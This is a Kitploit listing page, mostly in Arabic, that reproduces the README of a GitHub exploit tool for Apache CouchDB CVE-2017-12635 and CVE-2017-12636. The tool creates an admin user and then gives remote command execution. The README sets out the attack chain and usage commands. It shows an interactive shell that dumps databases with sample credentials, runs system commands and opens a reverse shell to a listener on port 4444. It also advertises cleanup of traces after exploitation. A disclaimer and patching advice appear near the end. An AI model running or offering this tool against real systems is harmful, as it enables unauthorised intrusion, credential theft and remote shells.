Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
couchdb-exploit — يستغل ثغرات CouchDB (CVE-2017-12635/12636) لتصعيد الصلاحيات وتنفيذ الأوامر عن بُعد (RCE)، ثم يوفر شلًا تفاعليًا مع تنفيذ الأوامر وتصفح قاعدة البيانات وشل عكسي. | Kitploit
أدوات/GitHubGitHub/darabium/couchdb-exploit
تصعيد الامتيازاتالاستغلالجمع المعلوماتما بعد الاستغلالاختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubdarabium/couchdb-exploit

couchdb-exploit

يستغل ثغرات CouchDB (CVE-2017-12635/12636) لتصعيد الصلاحيات وتنفيذ الأوامر عن بُعد (RCE)، ثم يوفر شلًا تفاعليًا مع تنفيذ الأوامر وتصفح قاعدة البيانات وشل عكسي.

عرض المستودع
24منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

🚀 استغلال CouchDB - CVE-2017-12635 و CVE-2017-12636

Python License CVE CVE

Apache CouchDB - تصعيد الصلاحيات والتنفيذ عن بُعد للشيفرة

GitHub stars GitHub forks


📖 نظرة عامة

تستغل هذه الأداة ثغرتين حرجتين في Apache CouchDB:

CVEالوصفالخطورة
CVE-2017-12635تصعيد الصلاحيات عبر تجاوز تحليل JSON🔴 حرجة
CVE-2017-12636التنفيذ عن بُعد للشيفرة عبر Query Server🔴 حرجة

كيف تعمل

  1. CVE-2017-12635: تستغل عدم اتساق تحليل JSON بين محللي Erlang وJavaScript لإنشاء مستخدم مسؤول
  2. CVE-2017-12636: تستخدم صلاحيات المسؤول لتهيئة Query Server خبيث وتنفيذ أوامر النظام

🎯 الإصدارات المعرّضة للثغرة

الإصدارمعرّض للثغرةالإصدار المُصلح
Apache CouchDB < 1.7.0✅ نعم1.7.0
Apache CouchDB 1.x.x✅ نعم1.7.0
Apache CouchDB 2.0.0✅ نعم2.1.1
Apache CouchDB 2.1.0✅ نعم2.1.1
Apache CouchDB ≥ 2.1.1❌ لا-

فحص سريع

curl http://target:5984/

If version is 1.x.x or 2.0.x/2.1.0 → VULNERABLE

✨ الميزات

✅ استغلال تلقائي - أمر واحد للتحكم في كل شيء

✅ صدفة تفاعلية - واجهة أوامر سهلة الاستخدام

✅ عارض قواعد البيانات - تصفح جميع قواعد البيانات والمستندات

✅ عرض JSON كامل - اطّلع على محتوى المستند بالكامل

✅ بحث شامل - ابحث عن كلمات مفتاحية عبر جميع قواعد البيانات

✅ أوامر النظام - نفّذ أوامر عشوائية على الهدف

✅ صدفة عكسية - احصل على صدفة تفاعلية كاملة

✅ سجل الأوامر - تتبّع إجراءاتك

✅ تنظيف تلقائي - إزالة الآثار بعد الاستغلال

✅ إخراج ملوّن - سهل القراءة والفهم

📦 التثبيت المتطلبات الأساسية bash

Python 3.6+ required

python3 --version

استنساخ وتثبيت bash

Clone the repository

git clone https://github.com/darabium/couchdb-exploit.git

cd couchdb-exploit

تثبيت التبعيات

python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt

المتطلبات txt

requests>=2.25.0 urllib3>=1.26.0

🚀 الاستخدام الاستخدام الأساسي bash

استغلال بسيط

python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>

مثال

python3 couchdb-exploit.py -t 192.168.1.100 -p 5984

خيارات سطر الأوامر bash

python3 couchdb-exploit.py -h

usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]

arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target IP address or hostname
  -p PORT, --port PORT  Target port (default: 5984)

💻 الأوامر

بمجرد الاستغلال، ستحصل على صدفة تفاعلية: الأمر الوصف مثال db عرض جميع قواعد البيانات مع عدد المستندات db view عرض جميع المستندات في قاعدة بيانات (JSON كامل) view passwords raw عرض استجابة الخادم الخام raw admin count عدّ المستندات في قاعدة بيانات count users search البحث عن كلمة مفتاحية في جميع قواعد البيانات search admin exec تنفيذ أمر نظام exec whoami reverse إعداد صدفة عكسية reverse 10.0.0.1 4444 history عرض سجل الأوامر history help عرض هذه القائمة help exit الخروج مع التنظيف exit 📊 أمثلة

  1. سرد جميع قواعد البيانات bash

couchdb> db

[+] 39 databases:

  1. _replicator (0 docs)

  2. _users (12 docs)

  3. admin (5 docs)

  4. passwords (25 docs)

  5. core-configuration (8 docs) ...

  6. عرض محتوى قاعدة البيانات bash

couchdb> view passwords

[+] Viewing database: passwords

[*] Total documents: 25

📄 Document #1 ID: user_admin Full content: { "_id": "user_admin", "username": "admin", "password": "Admin123!", "email": "[email protected]", "role": "superadmin" }

  1. البحث عن بيانات الاعتماد bash

couchdb> search password

[+] Searching for 'password' in all databases...

✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }

✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }

  1. تنفيذ أوامر النظام bash

couchdb> exec whoami [+] Executing: whoami [+] Command executed!

couchdb> exec id [+] Executing: id [+] Command executed!

  1. الصدفة العكسية bash

On your machine (listener)

nc -lvnp 4444

في الاستغلال

couchdb> reverse 10.0.0.1 4444 [+] إعداد صدفة عكسية إلى 10.0.0.1:4444 [!] تأكد من تشغيل المستمع: nc -lvnp 4444 [?] هل تريد المتابعة؟ (y/n): y [+] تم تفعيل الصدفة العكسية!

يجب أن تحصل على صدفة على المستمع الخاص بك!

🖼️ لقطات الشاشة الاستغلال أثناء التنفيذ

https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot عرض قاعدة البيانات

https://via.placeholder.com/800x400?text=Database+View الصدفة العكسية

https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ إخلاء المسؤولية

مهم: هذه الأداة مخصصة لأغراض تعليمية والاختبار المصرح به فقط.

    🚫 لا تستخدمها على أنظمة دون إذن صريح

    🚫 المؤلف غير مسؤول عن أي سوء استخدام

    🚫 استخدمها فقط في بيئات خاضعة للرقابة أو على أنظمتك الخاصة

    ✅ احصل دائمًا على تصريح كتابي قبل الاختبار

    ✅ اتبع ممارسات الإفصاح المسؤولة

باستخدامك هذه الأداة، فإنك توافق على هذه الشروط. 🔐 نصائح أمنية

إذا كنت مسؤول نظام:

قم بالترقية فورًا إلى CouchDB ≥ 1.7.0 أو ≥ 2.1.1

استخدم جدار الحماية لتقييد الوصول إلى المنفذ 5984

فعّل المصادقة واستخدم كلمات مرور قوية

راقب السجلات بحثًا عن أي نشاط مشبوه

إجراء تدقيقات أمنية منتظمة لبنيتك التحتية

إصلاح سريع bash

ترقية CouchDB

sudo apt-get update sudo apt-get install couchdb=2.1.1 # أو أحدث إصدار

تقييد الوصول

sudo ufw allow from 192.168.1.0/24 to any port 5984

📚 المراجع

CVE-2017-12635 - NVD

CVE-2017-12636 - NVD

أمان Apache CouchDB

Exploit-DB

👤 المؤلف

darabium

GitHub: @darabium

Telegram: @darabium

⭐ الدعم

إذا وجدت هذا مفيدًا:

⭐ ضع نجمة على المستودع

🐛 أبلغ عن المشكلات

🔧 ساهم بالتحسينات

📢 شارك مع الآخرين

📄 الترخيص

هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.

صُنع بـ ❤️ لأبحاث الأمن

⬆ العودة إلى الأعلى

تنزيل الأداة